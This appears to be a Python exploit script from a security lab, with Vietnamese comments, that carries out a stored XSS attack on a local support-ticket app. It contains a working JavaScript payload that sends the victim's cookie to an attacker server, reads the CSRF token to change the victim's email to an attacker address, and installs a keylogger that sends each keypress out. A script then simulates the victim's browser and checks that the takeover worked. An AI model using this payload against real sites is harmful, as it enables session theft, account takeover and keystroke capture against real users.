#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit lab 3.5 - khai thac XSS day du.

Luong:
  1. KE TAN CONG gui mot ticket co payload <script>. Payload (khi chay trong trinh duyet
     nan nhan) se: trom cookie, doc CSRF token roi doi email nan nhan, cai keylogger.
  2. Kiem tra payload da luu va render NGUYEN VAN trong /inbox (stored XSS).
  3. NAN NHAN (nhan vien support, da dang nhap) mo /inbox. Vi khong co GUI, ta MO PHONG
     trinh duyet nan nhan thuc thi payload bang client python dung CHINH phien dang nhap
     cua nan nhan:
        a) exfil document.cookie ve server ke tan cong (8037),
        b) GET /account doc CSRF token, POST /change-email doi email (hanh dong thay nan
           nhan - XSS vo hieu hoa CSRF vi chay ngay trong origin cua nan nhan),
        c) keylogger: nan nhan go vai phim, tung phim bay ve ke tan cong.
  4. Kiem chung: server ke tan cong nhan du cookie + phim + xac nhan takeover; va email
     nan nhan tren app da that su bi doi.
"""
import os
import re
import sys
import urllib.parse
import requests

APP = "http://127.0.0.1:8036"
ATTACKER = "http://127.0.0.1:8037"
LOOT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "loot.txt")

# Payload that ma ke tan cong nhet vao ticket (trinh duyet nan nhan se chay no).
PAYLOAD = (
    "<script>"
    "new Image().src='" + ATTACKER + "/log?t=cookie&d='+encodeURIComponent(document.cookie);"
    "fetch('/account').then(r=>r.text()).then(h=>{"
    "var t=h.match(/name=\"csrf\" value=\"([^\"]+)\"/)[1];"
    "fetch('/change-email',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},"
    "body:'csrf='+t+'&email=attacker@evil.test'}).then(()=>"
    "new Image().src='" + ATTACKER + "/log?t=takeover&d=email-changed');});"
    "document.onkeypress=function(e){new Image().src='" + ATTACKER + "/log?t=key&d='+e.key;};"
    "</script>"
)


def victim_exec(victim_session, cookie_str):
    """Mo phong trinh duyet nan nhan chay payload, dung phien dang nhap that cua nan nhan."""
    # a) trom cookie
    print("    a) exfil cookie -> attacker")
    requests.get(ATTACKER + "/log", params={"t": "cookie", "d": cookie_str}, timeout=5)

    # b) doc CSRF token tu /account roi doi email (hanh dong thay nan nhan)
    print("    b) doc CSRF token tu /account roi POST /change-email (doi email nan nhan)")
    acc = victim_session.get(APP + "/account", timeout=5).text
    token = re.search(r'name="csrf" value="([^"]+)"', acc).group(1)
    print("       CSRF token doc duoc: " + token)
    r = victim_session.post(APP + "/change-email",
                            data={"csrf": token, "email": "attacker@evil.test"}, timeout=5)
    print("       POST /change-email -> HTTP " + str(r.status_code) + " : " + r.text)
    requests.get(ATTACKER + "/log", params={"t": "takeover", "d": "email-changed"}, timeout=5)

    # c) keylogger: nan nhan go vai phim
    print("    c) keylogger: nan nhan go 'p@ss', tung phim bay ve attacker")
    for ch in "p@ss":
        requests.get(ATTACKER + "/log", params={"t": "key", "d": ch}, timeout=5)


def main():
    victim = requests.Session()

    print("=" * 70)
    print("[1] KE TAN CONG gui ticket chua payload XSS")
    requests.post(APP + "/ticket", data={"from": "hacker", "message": PAYLOAD}, timeout=5)
    print("    payload da gui (xem bien PAYLOAD trong exploit.py)")

    print("=" * 70)
    print("[2] Kiem tra stored XSS trong /inbox")
    inbox = requests.get(APP + "/inbox", timeout=5).text
    raw = "<script>new Image().src=" in inbox
    print("    payload render nguyen van (chua escape)? : " + ("CO" if raw else "KHONG"))
    if not raw:
        print("    => khong phai stored XSS")
        return 1

    print("=" * 70)
    print("[3] NAN NHAN dang nhap va mo /inbox (trinh duyet chay payload)")
    victim.get(APP + "/login", timeout=5)
    cookies = victim.cookies.get_dict()
    cookie_str = "; ".join(k + "=" + v for k, v in cookies.items())
    print("    cookie nan nhan: " + cookie_str)
    email_before = re.search(r'id=email>([^<]+)<', victim.get(APP + "/account", timeout=5).text).group(1)
    print("    email nan nhan TRUOC khi dinh XSS: " + email_before)
    victim.get(APP + "/inbox", timeout=5)
    print("    [mo phong trinh duyet nan nhan thuc thi payload]")
    victim_exec(victim, cookie_str)

    print("=" * 70)
    print("[4] Kiem chung ket qua")
    email_after = re.search(r'id=email>([^<]+)<', victim.get(APP + "/account", timeout=5).text).group(1)
    print("    email nan nhan SAU khi dinh XSS: " + email_after)
    got = ""
    if os.path.exists(LOOT):
        with open(LOOT, encoding="utf-8") as f:
            got = f.read().strip()
    print("    du lieu server ke tan cong thu duoc (loot.txt):")
    for line in got.splitlines():
        print("      " + line)

    success = (
        ("victim-session-5e9d2a" in got) and
        ("type=takeover" in got) and
        ("type=key" in got) and
        (email_after == "attacker@evil.test")
    )
    print("=" * 70)
    print("TONG KET: " + ("CHIEM TRON - trom cookie + keylog + doi email nan nhan thanh cong"
                          if success else "THAT BAI"))
    return 0 if success else 1


if __name__ == "__main__":
    sys.exit(main())
